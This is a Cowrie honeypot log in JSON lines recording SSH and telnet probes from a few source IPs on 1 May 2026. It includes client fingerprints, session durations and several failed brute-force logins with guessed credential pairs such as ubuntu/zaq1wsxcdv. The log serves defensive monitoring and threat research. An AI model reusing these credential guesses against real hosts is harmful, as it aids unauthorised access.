{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:54.668198Z","src_ip":"80.94.92.182","session":"69d5f03aa454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:54.672258Z","src_ip":"80.94.92.182","session":"69d5f03aa454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.74190402030945,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:54.956539Z","src_ip":"209.159.146.115","session":"3409d45bafea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:55.645377Z","src_ip":"80.94.92.182","session":"69d5f03aa454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.564502000808716,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:56.425898Z","src_ip":"23.254.167.244","session":"1ae5a93f7754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.97171902656555,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:56.889177Z","src_ip":"23.254.167.244","session":"7a00a604def3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33304,"dst_ip":"159.203.135.109","dst_port":23,"session":"42c69021dfba","protocol":"telnet","message":"New connection: 23.254.167.244:33304 (159.203.135.109:23) [session: 42c69021dfba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:56.906774Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:57.150326Z","src_ip":"80.94.92.182","session":"69d5f03aa454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45080,"dst_ip":"159.203.135.109","dst_port":23,"session":"b69dfd98fdf9","protocol":"telnet","message":"New connection: 209.159.146.115:45080 (159.203.135.109:23) [session: b69dfd98fdf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:57.450517Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50988,"dst_ip":"159.203.135.109","dst_port":23,"session":"d779f4e531db","protocol":"telnet","message":"New connection: 209.159.146.115:50988 (159.203.135.109:23) [session: d779f4e531db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:59.128670Z"}
{"eventid":"cowrie.session.closed","duration":33.399590730667114,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:59.831391Z","src_ip":"209.159.146.115","session":"5e40cf6b45e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50552,"dst_ip":"159.203.135.109","dst_port":23,"session":"0397d06b4015","protocol":"telnet","message":"New connection: 209.159.146.115:50552 (159.203.135.109:23) [session: 0397d06b4015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:59.961340Z"}
{"eventid":"cowrie.session.closed","duration":36.69503355026245,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:01.236207Z","src_ip":"23.254.167.244","session":"8bf29b83a7d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44620,"dst_ip":"159.203.135.109","dst_port":23,"session":"c88b5ee77ffa","protocol":"telnet","message":"New connection: 209.159.146.115:44620 (159.203.135.109:23) [session: c88b5ee77ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:01.588115Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48480,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d0bc09fae72","protocol":"telnet","message":"New connection: 209.159.146.115:48480 (159.203.135.109:23) [session: 8d0bc09fae72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:02.280256Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36856,"dst_ip":"159.203.135.109","dst_port":23,"session":"1733a66a4be9","protocol":"telnet","message":"New connection: 209.159.146.115:36856 (159.203.135.109:23) [session: 1733a66a4be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:05.655044Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44610,"dst_ip":"159.203.135.109","dst_port":23,"session":"3005ec025a35","protocol":"telnet","message":"New connection: 23.254.167.244:44610 (159.203.135.109:23) [session: 3005ec025a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:07.268591Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47494,"dst_ip":"159.203.135.109","dst_port":23,"session":"1839dae26fb6","protocol":"telnet","message":"New connection: 23.254.167.244:47494 (159.203.135.109:23) [session: 1839dae26fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:08.399915Z"}
{"eventid":"cowrie.session.closed","duration":40.9803740978241,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:09.872088Z","src_ip":"209.159.146.115","session":"24f0da068f00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18758964538574,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:09.929588Z","src_ip":"23.254.167.244","session":"bc86e67961c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.02184462547302,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:10.482099Z","src_ip":"209.159.146.115","session":"3f11c260639c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58236,"dst_ip":"159.203.135.109","dst_port":23,"session":"8425bbce1abd","protocol":"telnet","message":"New connection: 209.159.146.115:58236 (159.203.135.109:23) [session: 8425bbce1abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:11.288418Z"}
{"eventid":"cowrie.session.closed","duration":35.08129644393921,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:11.658323Z","src_ip":"23.254.167.244","session":"bf8bc5fc07b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51698,"dst_ip":"159.203.135.109","dst_port":23,"session":"47369a72e905","protocol":"telnet","message":"New connection: 23.254.167.244:51698 (159.203.135.109:23) [session: 47369a72e905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:11.975715Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60460,"dst_ip":"159.203.135.109","dst_port":23,"session":"406e545394b7","protocol":"telnet","message":"New connection: 209.159.146.115:60460 (159.203.135.109:23) [session: 406e545394b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:12.119392Z"}
{"eventid":"cowrie.session.closed","duration":43.051642656326294,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:13.103323Z","src_ip":"209.159.146.115","session":"aab17270b4ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53824,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb3d946a9be4","protocol":"telnet","message":"New connection: 23.254.167.244:53824 (159.203.135.109:23) [session: bb3d946a9be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:14.029244Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55480,"dst_ip":"159.203.135.109","dst_port":23,"session":"b84624551a10","protocol":"telnet","message":"New connection: 23.254.167.244:55480 (159.203.135.109:23) [session: b84624551a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:15.634521Z"}
{"eventid":"cowrie.session.closed","duration":32.840927600860596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:16.039903Z","src_ip":"209.159.146.115","session":"8ef867a1c03e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76977276802063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:16.290418Z","src_ip":"23.254.167.244","session":"d0f183b260a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51548,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfef81e62c45","protocol":"telnet","message":"New connection: 209.159.146.115:51548 (159.203.135.109:23) [session: dfef81e62c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:16.442238Z"}
{"eventid":"cowrie.session.closed","duration":34.38311839103699,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:18.475597Z","src_ip":"209.159.146.115","session":"51066a15456e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80022931098938,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:19.537215Z","src_ip":"209.159.146.115","session":"58820e542c8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35590,"dst_ip":"159.203.135.109","dst_port":23,"session":"689ede54d856","protocol":"telnet","message":"New connection: 209.159.146.115:35590 (159.203.135.109:23) [session: 689ede54d856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:19.656412Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38550,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4a0a4bfe6f2","protocol":"telnet","message":"New connection: 209.159.146.115:38550 (159.203.135.109:23) [session: b4a0a4bfe6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:20.392551Z"}
{"eventid":"cowrie.session.closed","duration":33.29626536369324,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:20.464128Z","src_ip":"209.159.146.115","session":"cf239f36e6bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":41210,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f178001cd8f","protocol":"ssh","message":"New connection: 186.13.24.118:41210 (159.203.135.109:22) [session: 5f178001cd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:20.931897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:20.937729Z","src_ip":"186.13.24.118","session":"5f178001cd8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:21.094621Z","src_ip":"186.13.24.118","session":"5f178001cd8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq1wsxcdv","message":"login attempt [ubuntu/zaq1wsxcdv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:21.746734Z","src_ip":"186.13.24.118","session":"5f178001cd8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46458,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae18911c153a","protocol":"telnet","message":"New connection: 209.159.146.115:46458 (159.203.135.109:23) [session: ae18911c153a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:22.580797Z"}
{"eventid":"cowrie.session.closed","duration":35.861515522003174,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:22.586434Z","src_ip":"23.254.167.244","session":"6d2724f8d040","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.14757490158081,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:22.746285Z","src_ip":"23.254.167.244","session":"ac38b69cca00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:23.143524Z","src_ip":"186.13.24.118","session":"5f178001cd8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.50823974609375,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:23.283261Z","src_ip":"209.159.146.115","session":"d5ecd25fed6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46320,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f106ea99541","protocol":"telnet","message":"New connection: 209.159.146.115:46320 (159.203.135.109:23) [session: 3f106ea99541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:23.338835Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49904,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac5324f959e1","protocol":"telnet","message":"New connection: 209.159.146.115:49904 (159.203.135.109:23) [session: ac5324f959e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:23.611086Z"}
{"eventid":"cowrie.session.closed","duration":35.58074998855591,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:24.360220Z","src_ip":"209.159.146.115","session":"fe822f2cfbc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54032,"dst_ip":"159.203.135.109","dst_port":23,"session":"c04d481b4ebe","protocol":"telnet","message":"New connection: 209.159.146.115:54032 (159.203.135.109:23) [session: c04d481b4ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:25.234799Z"}
{"eventid":"cowrie.session.closed","duration":36.99090528488159,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:25.328995Z","src_ip":"23.254.167.244","session":"aeb08b59c830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47236347198486,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:25.717411Z","src_ip":"209.159.146.115","session":"9ccb43a8d243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.19505429267883,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:26.982595Z","src_ip":"23.254.167.244","session":"eb5b80d9064a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35136,"dst_ip":"159.203.135.109","dst_port":23,"session":"b05c7866790b","protocol":"telnet","message":"New connection: 209.159.146.115:35136 (159.203.135.109:23) [session: b05c7866790b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:27.491436Z"}
{"eventid":"cowrie.session.closed","duration":32.71117115020752,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:29.617830Z","src_ip":"23.254.167.244","session":"42c69021dfba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.298832654953,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:29.749234Z","src_ip":"209.159.146.115","session":"b69dfd98fdf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.38441586494446,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:30.193620Z","src_ip":"23.254.167.244","session":"ec4153e831fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47598,"dst_ip":"159.203.135.109","dst_port":23,"session":"721e998ddb51","protocol":"telnet","message":"New connection: 209.159.146.115:47598 (159.203.135.109:23) [session: 721e998ddb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:30.940998Z"}
{"eventid":"cowrie.session.closed","duration":31.71403193473816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:31.675236Z","src_ip":"209.159.146.115","session":"0397d06b4015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49642,"dst_ip":"159.203.135.109","dst_port":23,"session":"36dacbd27d54","protocol":"telnet","message":"New connection: 23.254.167.244:49642 (159.203.135.109:23) [session: 36dacbd27d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:31.962742Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53960,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba2c5fea2d17","protocol":"ssh","message":"New connection: 159.203.92.129:53960 (159.203.135.109:22) [session: ba2c5fea2d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:32.264702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:32.268315Z","src_ip":"159.203.92.129","session":"ba2c5fea2d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:32.271712Z","src_ip":"159.203.92.129","session":"ba2c5fea2d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angelos","password":"angelos","message":"login attempt [angelos/angelos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:32.280818Z","src_ip":"159.203.92.129","session":"ba2c5fea2d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50570,"dst_ip":"159.203.135.109","dst_port":23,"session":"03b356176b84","protocol":"telnet","message":"New connection: 23.254.167.244:50570 (159.203.135.109:23) [session: 03b356176b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:32.742156Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51186,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c4d58113ec5","protocol":"telnet","message":"New connection: 23.254.167.244:51186 (159.203.135.109:23) [session: 5c4d58113ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:33.265960Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:33.286253Z","src_ip":"159.203.92.129","session":"ba2c5fea2d17","protocol":"ssh"}
